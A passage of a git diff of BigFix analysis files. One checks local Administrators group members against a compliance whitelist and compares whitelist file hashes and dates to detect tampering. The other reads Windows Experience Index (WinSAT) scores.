+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
+<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=174>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the primary ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>A difference between this and the hash on other clients or this client’s backup file likely indicates that someone has made unauthorized changes to this file.<o:p></o:p></SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=198>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the backup ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If someone makes unauthorized changes to the primary whitelist file there will likely be a difference between the hashes of the primary and the backup files. <o:p></o:p></SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the primary whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file, it will allow an operator to detect that the file on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the backup whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file or the primary whitelist file, it will allow an operator to detect that the file(s) on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></o:p></SPAN></TD></TR></TBODY></TABLE></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Sep 2018 04:18:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Status">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then if number of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) = 0 then &quot;Compliant&quot; else &quot;Not-Compliant&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
+    <Property ID="2" Name="Unauthorized Admins">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then &quot;[&quot; &amp; concatenation &quot;] - [&quot; of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) &amp; &quot;]&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
+    <Property ID="3" Name="Whitelist Files Match">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) = sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot; else &quot;Whitelist Backup File Missing&quot;</Property>
+    <Property ID="4" Name="Backup File hash" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) else &quot;Backup Whitelist File Missing&quot;</Property>
+    <Property ID="5" Name="Primary File hash" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) else &quot;Primary Whitelist File Missing&quot;</Property>
+    <Property ID="6" Name="Primary File Date" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (modification time of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot;</Property>
+    <Property ID="7" Name="Backup File Date" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (modification time of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) as string else &quot;Backup Whitelist File Missing&quot;</Property>
+    <Property ID="8" Name="Name/Pwd Age of Admins" EvaluationPeriod="P1D">&quot;[&quot; &amp; concatenation &quot;] - [&quot; of (((names of it, password age of it) of users whose (admin privilege of it as string contains &quot;True&quot;)) as string) &amp; &quot;]&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes
index 9af68c006..faad3d817 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Experience Index Results - WinVista and later
-  ID       : 2994570
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-08-26T09:39:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Experience Index Results - WinVista and later</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
-    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 22 Aug 2013 21:32:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="4" Name="Exists WEI results folder?" EvaluationPeriod="P2D">exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="5" Name="Num of WEI results xml" EvaluationPeriod="P2D">number of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="6" Name="names of WEI result files" EvaluationPeriod="P7D">names of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="8" Name="SystemScores" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/SystemScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/SystemScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="9" Name="CpuScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CpuScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CpuScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="10" Name="MemoryScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="11" Name="GraphicsScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="12" Name="GamingScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GamingScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GamingScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="13" Name="DiskScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/DiskScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/DiskScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="14" Name="VideoEncodeScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="15" Name="CPUSubAggScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="16" Name="Dx9SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="17" Name="Dx10SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="18" Name="StdDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="19" Name="HighDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="20" Name="Run Dates" EvaluationPeriod="P2D">unique values of (preceding text of first &quot;  &quot; of following text of first &quot; &quot; of (it as text) as string) of attributes &quot;Friendly&quot; of xpaths &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="21" Name="HDD Random Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="22" Name="HDD Sequential Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
-    <Property ID="23" Name="WEI run in past 90 days?" EvaluationPeriod="P2D">((exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (exists files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (1 &lt; (number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) &lt; 90*day))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Experience Index Results - WinVista and later
+  ID       : 2994570
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-26T09:39:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Experience Index Results - WinVista and later</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
+    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 22 Aug 2013 21:32:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Exists WEI results folder?" EvaluationPeriod="P2D">exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="5" Name="Num of WEI results xml" EvaluationPeriod="P2D">number of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="6" Name="names of WEI result files" EvaluationPeriod="P7D">names of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="8" Name="SystemScores" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/SystemScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/SystemScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="9" Name="CpuScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CpuScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CpuScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="10" Name="MemoryScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="11" Name="GraphicsScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="12" Name="GamingScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GamingScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GamingScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="13" Name="DiskScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/DiskScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/DiskScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="14" Name="VideoEncodeScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="15" Name="CPUSubAggScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="16" Name="Dx9SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="17" Name="Dx10SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="18" Name="StdDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="19" Name="HighDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="20" Name="Run Dates" EvaluationPeriod="P2D">unique values of (preceding text of first &quot;  &quot; of following text of first &quot; &quot; of (it as text) as string) of attributes &quot;Friendly&quot; of xpaths &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="21" Name="HDD Random Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="22" Name="HDD Sequential Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
